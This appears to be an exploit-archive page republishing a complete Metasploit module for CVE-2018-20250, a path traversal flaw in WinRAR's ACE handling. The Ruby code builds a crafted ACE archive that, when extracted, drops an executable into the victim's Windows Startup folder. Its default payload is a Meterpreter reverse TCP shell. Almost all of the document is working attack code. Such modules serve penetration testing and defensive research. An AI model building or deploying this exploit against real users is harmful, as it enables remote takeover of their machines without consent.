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RARLAB WinRAR ACE Format Input Validation Remote Code Execution

RARLAB WinRAR ACE Format Input Validation Remote Code Execution
Posted Apr 24, 2019
Authored by Imran Dawoodjee, Nadav Grossman | Site metasploit.com

In WinRAR versions prior to and including 5.61, there is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path. This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell.

tags | exploit, shell
advisories | CVE-2018-20250
MD5 | e92db51f5e14f0fddb4670c8372f4da6

RARLAB WinRAR ACE Format Input Validation Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# TODO: add other non-payload files

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
'Description' => %q{
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
field is manipulated with specific patterns, the destination (extraction) folder is
ignored, thus treating the filename as an absolute path. This module will attempt to
extract a payload to the startup folder of the current user. It is limited such that
we can only go back one folder. Therefore, for this exploit to work properly, the user
must extract the supplied RAR file from one folder within the user profile folder
(e.g. Desktop or Downloads). User restart is required to gain a shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nadav Grossman', # exploit discovery
'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module
],
'References' =>
[
['CVE', '2018-20250'],
['EDB', '46552'],
['BID', '106948'],
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
['URL', 'https://apidoc.roe.ch/acefile/latest/'],
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
],
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Targets' =>
[
[ 'RARLAB WinRAR <= 5.61', {} ]
],
'DisclosureDate' => 'Feb 05 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']),
OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']),
OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', ''])
])

end

def exploit
ace_header = ""
# All hex values are already in little endian.
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
ace_header << "AA"
# HEAD_SIZE: header size. \x31\x00 says 49.
ace_header << "\x31\x00"
# HEAD_TYPE: header type. Archive header is 0.
ace_header << "\x00"
# HEAD_FLAGS: header flags
ace_header << "\x00\x90"
# ACE magic
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
# VER_EXTRACT: version needed to extract archive
ace_header << "\x14"
# VER_CREATED: version used to create archive
ace_header << "\x14"
# HOST_CREATED: host OS for ACE used to create archive
ace_header << "\x02"
# VOLUME_NUM: which volume of a multi-volume archive?
ace_header << "\x00"
# TIME_CREATED: date and time in MS-DOS format
ace_header << "\x10\x18\x56\x4E"
# RESERVED1
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
# AV_SIZE: advert size
ace_header << "\x16"
# AV: advert which shows if registered/unregistered.
# Full advert says "*UNREGISTERED VERSION*"
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"

# calculate the CRC32 of ACE header, and get the lower 2 bytes
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16)
ace_header[0,2] = [ace_header_crc16].pack("v")

# start putting the ACE file together
ace_file = ""
ace_file << ace_header

# create headers and append file data after header
unless datastore["FILE_LIST"].empty?
print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...")
File.binread(datastore["FILE_LIST"]).each_line do |file|
file = file.chomp
file_header_and_data = create_file_header_and_data(file, false, false)
ace_file << file_header_and_data
end
end

# autogenerated payload
if datastore["CUSTFILE"].empty?
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# 6 characters
payload_filename << rand_text_alpha(6)
# 4 characters
payload_filename << ".exe"
payload_file_header = create_file_header_and_data(payload_filename, true, false)
# user-defined payload
else
print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}")
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# n characters
payload_filename << ::File.basename(datastore["CUSTFILE"])
payload_file_header = create_file_header_and_data(payload_filename, true, true)
end

vprint_status("Payload filename: #{payload_filename.from(72)}")

# append payload file header and the payload itself into the rest of the data
ace_file << payload_file_header
# create the file
file_create(ace_file)
end

# The CRC implementation used in ACE does not take the last step in calculating CRC32.
# That is, it does not flip the bits. Therefore, it can be easily calculated by taking
# the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
# applying a bitwise OR on an integer will produce its negative + 1.
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
-(~crc) - 1
end

# create file headers for each file to put into the output ACE file
def create_file_header_and_data(path, is_payload, is_custom_payload)
#print_status("Length of #{path}: #{path.length}")
if is_payload and is_custom_payload
file_data = File.binread(path.from(72))
elsif is_payload and !is_custom_payload
file_data = generate_payload_exe
else
file_data = File.binread(File.basename(path))
end

file_data_crc32 = crc32(file_data).to_i

# HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
file_header = ""
file_header << "AA"
# HEAD_SIZE: file header size.
if is_payload
file_header << [31 + path.length].pack("v")
else
file_header << [31 + ::File.basename(path).length].pack("v")
end
# HEAD_TYPE: header type is 1.
file_header << "\x01"
# HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.
file_header << "\x01\x80"
# PACK_SIZE: size when packed.
file_header << [file_data.length].pack("V")
#print_status("#{file_data.length}")
# ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.
file_header << [file_data.length].pack("V")
# FTIME: file date and time in MS-DOS format
file_header << "\x63\xB0\x55\x4E"
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
file_header << "\x20\x00\x00\x00"
# CRC32: CRC32 of the compressed file
file_header << [file_data_crc32].pack("V")
# Compression type
file_header << "\x00"
# Compression quality
file_header << "\x03"
# Parameter for decompression
file_header << "\x0A\x00"
# RESERVED1
file_header << "\x54\x45"
# FNAME_SIZE: size of filename string
if is_payload
file_header << [path.length].pack("v")
else
# print_status("#{::File.basename(path).length}")
file_header << [::File.basename(path).length].pack("v")
end
#file_header << [path.length].pack("v")
# FNAME: filename string. Empty for now. Fill in later.
if is_payload
file_header << path
else
file_header << ::File.basename(path)
end

#print_status("Calculating other_file_header...")
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
file_header_crc16 = file_header_crc32.last(4).to_i(base=16)
file_header[0,2] = [file_header_crc16].pack("v")
file_header << file_data
end
end

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